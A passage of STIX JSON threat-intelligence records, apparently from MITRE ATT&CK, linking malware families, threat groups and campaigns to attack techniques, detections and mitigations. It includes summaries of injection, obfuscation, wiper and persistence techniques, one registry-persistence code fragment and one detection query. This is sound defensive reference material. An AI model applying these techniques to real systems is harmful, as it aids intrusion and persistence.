","relationship_type":"uses","source_ref":"malware--532c6004-b1e8-415b-9516-f7c14ba783b1","target_ref":"attack-pattern--315f51f0-6b03-4c1e-bfb2-84740afb8e21","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95e83e36-ba44-4e8f-8afe-ff6622fd6f84","created":"2023-04-10T16:43:01.816Z","revoked":false,"external_references":[{"source_name":"Bitdefender LuminousMoth July 2021","description":"Botezatu, B and etl. (2021, July 21). LuminousMoth - PlugX, File Exfiltration and Persistence Revisited. Retrieved October 20, 2022.","url":"https://www.bitdefender.com/blog/labs/luminousmoth-plugx-file-exfiltration-and-persistence-revisited"},{"source_name":"Kaspersky LuminousMoth July 2021","description":"Lechtik, M, and etl. (2021, July 14). LuminousMoth APT: Sweeping attacks for the chosen few. Retrieved October 20, 2022.","url":"https://securelist.com/apt-luminousmoth/103332/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-10T16:43:01.816Z","description":"[LuminousMoth](https://attack.mitre.org/groups/G1014) has used malware that scans for files in the Documents, Desktop, and Download folders and in other drives.(Citation: Kaspersky LuminousMoth July 2021)(Citation: Bitdefender LuminousMoth July 2021)","relationship_type":"uses","source_ref":"intrusion-set--b7f627e2-0817-4cd5-8d50-e75f8aa85cc6","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95ed1db5-c388-4b1b-9824-9703b248f798","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://blog.talosintelligence.com/2018/07/smoking-guns-smoke-loader-learned-new.html#more","description":"Baker, B., Unterbrink H. (2018, July 03). Smoking Guns - Smoke Loader learned new tricks. Retrieved July 5, 2018.","source_name":"Talos Smoke Loader July 2018"}],"modified":"2019-06-24T19:07:12.675Z","description":"[Smoke Loader](https://attack.mitre.org/software/S0226) injects into the Internet Explorer process.(Citation: Talos Smoke Loader July 2018)","relationship_type":"uses","source_ref":"malware--0c824410-58ff-49b2-9cf2-1c96b182bdf0","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95ef5734-a617-44c1-aee8-bddfadaab6d1","type":"relationship","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.848Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--69b8fd78-40e8-4600-ae4d-662c9d7afdb3","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95f2f687-4a70-4611-a420-2b8b53e2ee26","type":"relationship","created":"2020-05-20T19:54:06.570Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-29T13:31:07.771Z","description":"[USBferry](https://attack.mitre.org/software/S0452) can execute rundll32.exe in memory to avoid detection.(Citation: TrendMicro Tropic Trooper May 2020)\t","relationship_type":"uses","source_ref":"malware--75bba379-4ba1-467e-8c60-ec2b269ee984","target_ref":"attack-pattern--045d0922-2310-4e60-b5e4-3302302cb3c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95f54d2e-cfa0-4afc-a5f4-9da7da55242a","created":"2019-04-12T15:55:48.091Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT38 Oct 2018","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-apt38-2018-web_v5-1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-26T16:33:33.991Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used a custom MBR wiper named BOOTWRECK to render systems inoperable.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--95f55522-39ba-4724-899f-b33178c6da74","created":"2022-03-30T14:26:51.847Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Monitor for newly constructed network connections that may attempt to exfiltrate data over Bluetooth rather than the command and control channel. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","modified":"2022-04-08T12:52:10.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba","target_ref":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95f6f70c-b48a-4aa2-8c9e-fc680bf75f01","created":"2022-03-30T14:26:51.872Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T18:13:05.731Z","description":"Monitor for executed processes (such as ipconfig/ifconfig and arp) with arguments that may look for details about the network configuration and settings, such as IP and/or MAC addresses.\n\nNote: The Analytic looks for the creation of [ipconfig](https://attack.mitre.org/software/S0100), [route](https://attack.mitre.org/software/S0103), and [nbtstat](https://attack.mitre.org/software/S0102) processes, all of which are system administration utilities that can be used for the purpose of system network configuration discovery. If these tools are commonly used in your environment (e.g., by system administrators) this may lead to false positives and this analytic will therefore require tuning. \n\nAnalytic 1 - Suspicious Process\n\n(sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (sourcetype=\"WinEventLog:Security\" EventCode=\"4688\") AND\n (Image=\"C:\\\\Windows\\\\System32\\\\ipconfig.exe\" OR\n Image=\"C:\\\\Windows\\\\System32\\\\route.exe\" OR\n Image=\"C:\\\\Windows\\\\System32\\\\nbtstat.exe\")","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95fac0e8-32e3-4854-b542-5eb897d76f2e","type":"relationship","created":"2019-04-23T14:59:04.098Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub PoshC2","url":"https://github.com/nettitude/PoshC2_Python","description":"Nettitude. (2018, July 23). Python Server for PoshC2. Retrieved April 23, 2019."}],"modified":"2019-09-16T17:23:49.001Z","description":"[PoshC2](https://attack.mitre.org/software/S0378) contains multiple modules for injecting into processes, such as Invoke-PSInject.(Citation: GitHub PoshC2)","relationship_type":"uses","source_ref":"tool--4b57c098-f043-4da2-83ef-7588a6d426bc","target_ref":"attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--95fc8b91-eda2-49e9-b2fb-b3cdfacc0eaa","type":"relationship","created":"2021-06-18T15:26:55.711Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Siloscape Jun 2021","url":"https://unit42.paloaltonetworks.com/siloscape/","description":"Prizmant, D. (2021, June 7). Siloscape: First Known Malware Targeting Windows Containers to Compromise Cloud Environments. Retrieved June 9, 2021."}],"modified":"2021-09-09T13:19:36.477Z","description":"[Siloscape](https://attack.mitre.org/software/S0623) has decrypted the password of the C2 server with a simple byte by byte XOR. [Siloscape](https://attack.mitre.org/software/S0623) also writes both an archive of [Tor](https://attack.mitre.org/software/S0183) and the unzip binary to disk from data embedded within the payload using Visual Studio’s Resource Manager.(Citation: Unit 42 Siloscape Jun 2021)","relationship_type":"uses","source_ref":"malware--4fbd565b-bf55-4ac7-80b4-b183a7b64b9c","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--95fc970d-98cd-4bc9-895a-9534ba89c795","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Obfuscation June 2017","description":"Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.","url":"https://web.archive.org/web/20170923102302/https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html"},{"source_name":"FireEye FIN7 Aug 2018","description":"Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html"},{"source_name":"CrowdStrike Carbon Spider August 2021","description":"Loui, E. and Reynolds, J. (2021, August 30). CARBON SPIDER Embraces Big Game Hunting, Part 1. Retrieved September 20, 2021.","url":"https://www.crowdstrike.com/blog/carbon-spider-embraces-big-game-hunting-part-1/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T03:51:36.200Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) has used fragmented strings, environment variables, standard input (stdin), and native character-replacement functionalities to obfuscate commands.(Citation: FireEye Obfuscation June 2017)(Citation: FireEye FIN7 Aug 2018)(Citation: CrowdStrike Carbon Spider August 2021)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--d511a6f6-4a33-41d5-bc95-c343875d1377","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96007b55-dbe3-4127-b2ec-3bfe30a911b9","type":"relationship","created":"2022-03-30T14:26:51.857Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.857Z","description":"Monitor use of HTA files. If they are not typically used within an environment then execution of them may be suspicious","source_ref":"x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c","target_ref":"attack-pattern--840a987a-99bd-4a80-a5c9-0cb2baa6cade","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96014091-aba9-4b8f-ac6a-6cdeb593cf30","type":"relationship","created":"2020-02-12T14:37:27.517Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://security.berkeley.edu/node/94","description":"Berkeley Security, University of California. (n.d.). Securing Remote Desktop for System Administrators. Retrieved November 4, 2014.","source_name":"Berkley Secure"}],"modified":"2022-03-28T16:07:44.895Z","description":"Use multi-factor authentication for remote logins.(Citation: Berkley Secure)","relationship_type":"mitigates","source_ref":"course-of-action--b045d015-6bed-4490-bd38-56b41ece59a0","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96062ede-31e8-4777-8b81-39e8a9e8b88e","type":"relationship","created":"2021-03-24T20:25:01.292Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Antiy CERT Ramsay April 2020","url":"https://www.programmersought.com/article/62493896999/","description":"Antiy CERT. (2020, April 20). Analysis of Ramsay components of Darkhotel's infiltration and isolation network. Retrieved March 24, 2021."}],"modified":"2021-03-24T20:25:01.292Z","description":"[Ramsay](https://attack.mitre.org/software/S0458) has created Registry Run keys to establish persistence.(Citation: Antiy CERT Ramsay April 2020)","relationship_type":"uses","source_ref":"malware--ba09b86c-1c40-4ff1-bda0-0d8c4ca35997","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96076f66-3ad6-4e54-b816-c9c3f90fa43a","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.fireeye.com/blog/threat-research/2013/08/survival-of-the-fittest-new-york-times-attackers-evolve-quickly.html","description":"Moran, N., & Villeneuve, N. (2013, August 12). Survival of the Fittest: New York Times Attackers Evolve Quickly [Blog]. Retrieved November 12, 2014.","source_name":"Moran 2013"},{"source_name":"Trend Micro IXESHE 2012","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp_ixeshe.pdf","description":"Sancho, D., et al. (2012, May 22). IXESHE An APT Campaign. Retrieved June 7, 2019."}],"modified":"2020-03-20T22:45:06.829Z","description":"[Ixeshe](https://attack.mitre.org/software/S0015) uses custom Base64 encoding schemes to obfuscate command and control traffic in the message body of HTTP requests.(Citation: Moran 2013)(Citation: Trend Micro IXESHE 2012)","relationship_type":"uses","source_ref":"malware--8beac7c2-48d2-4cd9-9b15-6c452f38ac06","target_ref":"attack-pattern--04fd5427-79c7-44ea-ae13-11b24778ff1c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96077086-d811-47a1-a805-decbf6f249b7","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/","description":"Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.","source_name":"Palo Alto Networks BBSRAT"}],"modified":"2019-04-24T23:10:02.485Z","description":"[BBSRAT](https://attack.mitre.org/software/S0127) can modify service configurations.(Citation: Palo Alto Networks BBSRAT)","relationship_type":"uses","source_ref":"malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--960accee-d5ea-4570-8697-84ada0cc266a","type":"relationship","created":"2019-01-30T18:39:48.410Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."},{"source_name":"ESET Zebrocy Nov 2018","url":"https://www.welivesecurity.com/2018/11/20/sednit-whats-going-zebrocy/","description":"ESET. (2018, November 20). Sednit: What’s going on with Zebrocy?. Retrieved February 12, 2019."},{"source_name":"CISA Zebrocy Oct 2020","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b","description":"CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020."}],"modified":"2020-12-09T21:54:33.258Z","description":"[Zebrocy](https://attack.mitre.org/software/S0251) has used a method similar to RC4 as well as AES for encryption and hexadecimal for encoding data before exfiltration. (Citation: Securelist Sofacy Feb 2018)(Citation: ESET Zebrocy Nov 2018)(Citation: CISA Zebrocy Oct 2020) ","relationship_type":"uses","source_ref":"malware--a4f57468-fbd5-49e4-8476-52088220b92d","target_ref":"attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--960bdedf-dcca-4a9b-aa12-358324565470","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","source_name":"McAfee GhostSecret"}],"modified":"2019-04-22T22:40:41.273Z","description":"[Proxysvc](https://attack.mitre.org/software/S0238) collects the OS version, country name, MAC address, computer name, physical memory statistics, and volume information for all drives on the system.(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--960d642d-a2f7-4b78-8363-fa94aff7bf86","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia","description":"Symantec Security Response Attack Investigation Team. (2018, April 23). New Orangeworm attack group targets the healthcare sector in the U.S., Europe, and Asia. Retrieved May 8, 2018.","source_name":"Symantec Orangeworm April 2018"}],"modified":"2019-03-25T15:36:46.868Z","description":"(Citation: Symantec Orangeworm April 2018)","relationship_type":"uses","source_ref":"intrusion-set--5636b7b3-d99b-4edd-aa05-ee649c1d4ef1","target_ref":"tool--03342581-f790-4f03-ba41-e82e67392e23","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--9613ad57-7f24-4dff-bea3-2626d8b2c335","type":"relationship","created":"2019-03-04T17:12:37.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Linux Rabbit 2018","url":"https://www.anomali.com/blog/pulling-linux-rabbit-rabbot-malware-out-of-a-hat","description":"Anomali Labs. (2018, December 6). Pulling Linux Rabbit/Rabbot Malware Out of a Hat. Retrieved March 4, 2019."}],"modified":"2019-07-26T20:18:44.896Z","description":"[Linux Rabbit](https://attack.mitre.org/software/S0362) opens a socket on port 22 and if it receives a response it attempts to obtain the machine's hostname and Top-Level Domain. (Citation: Anomali Linux Rabbit 2018)","relationship_type":"uses","source_ref":"malware--0efefea5-78da-4022-92bc-d726139e8883","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--961ad537-4280-420a-8c1d-0bc32147949a","created":"2024-08-14T14:43:38.245Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Microsoft Albanian Government Attacks September 2022","description":"MSTIC. (2022, September 8). Microsoft investigates Iranian attacks against the Albanian government. Retrieved August 6, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2022/09/08/microsoft-investigates-iranian-attacks-against-the-albanian-government/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T14:45:00.214Z","description":"[ROADSWEEP](https://attack.mitre.org/software/S1150) has been placed in the start up folder to trigger execution upon user login.(Citation: Microsoft Albanian Government Attacks September 2022)","relationship_type":"uses","source_ref":"malware--be471c69-12d5-4bcc-9dad-3d42c3dbca4b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--961bbfd6-e487-4628-9956-5b497e622ae1","created":"2023-04-05T16:39:19.939Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-05T16:40:16.870Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors downloaded additional tools and files onto victim machines.(Citation: Microsoft Unidentified Dec 2018)(Citation: FireEye APT29 Nov 2018) ","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--961e9aba-801c-45a4-b1a9-0717761a0f62","created":"2022-03-24T11:46:08.663Z","x_mitre_version":"1.0","external_references":[{"source_name":"ClearSky Lazarus Aug 2020","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[DRATzarus](https://attack.mitre.org/software/S0694) can use various API calls to see if it is running in a sandbox.(Citation: ClearSky Lazarus Aug 2020)","modified":"2022-04-12T20:35:21.569Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--56aa3c82-ed40-4b5a-84bf-7231356d9e96","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--96213379-cdf0-4ee0-8f0c-a9c0d5ffca7e","type":"relationship","created":"2019-06-21T16:38:58.266Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-04-01T18:02:50.860Z","description":"Remove smart cards when not in use.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--dd43c543-bb85-4a6f-aa6e-160d90d06a49","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--9627b2de-6420-480f-add5-312622eb957c","created":"2022-09-27T16:29:13.660Z","revoked":false,"external_references":[{"source_name":"FoxIT Wocao December 2019","description":"Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China’s hidden hacking groups. Retrieved October 8, 2020.","url":"https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-27T16:29:13.660Z","description":"During [Operation Wocao](https://attack.mitre.org/campaigns/C0014), threat actors gathered a recursive directory listing to find files and directories of interest.(Citation: FoxIT Wocao December 2019)","relationship_type":"uses","source_ref":"campaign--b03d5112-e23a-4ac8-add0-be7502d24eff","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--962b8434-1beb-4774-bb9e-3a5b10d84fe3","type":"relationship","created":"2022-03-29T17:20:53.559Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub SILENTTRINITY Modules July 2019","url":"https://github.com/byt3bl33d3r/SILENTTRINITY/tree/master/silenttrinity/core/teamserver/modules/boo","description":"Salvati, M. (2019, August 6). SILENTTRINITY Modules. Retrieved March 24, 2022."}],"modified":"2022-03-29T17:20:53.559Z","description":"[SILENTTRINITY](https://attack.mitre.org/software/S0692) can add a CLSID key for payload execution through `Registry.CurrentUser.CreateSubKey(\"Software\\\\Classes\\\\CLSID\\\\{\" + clsid + \"}\\\\InProcServer32\")`.(Citation: GitHub SILENTTRINITY Modules July 2019)","relationship_type":"uses","source_ref":"tool--1244e058-fa10-48cb-b484-0bcf671107ae","target_ref":"attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--962d745e-7771-4c8b-a887-04d3a521943c","type":"relationship","created":"2020-09-30T14:13:38.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA SoreFang July 2016","url":"https://us-cert.cisa.gov/ncas/analysis-reports/ar20-198a","description":"CISA. (2020, July 16). MAR-10296782-1.v1 – SOREFANG. Retrieved September 29, 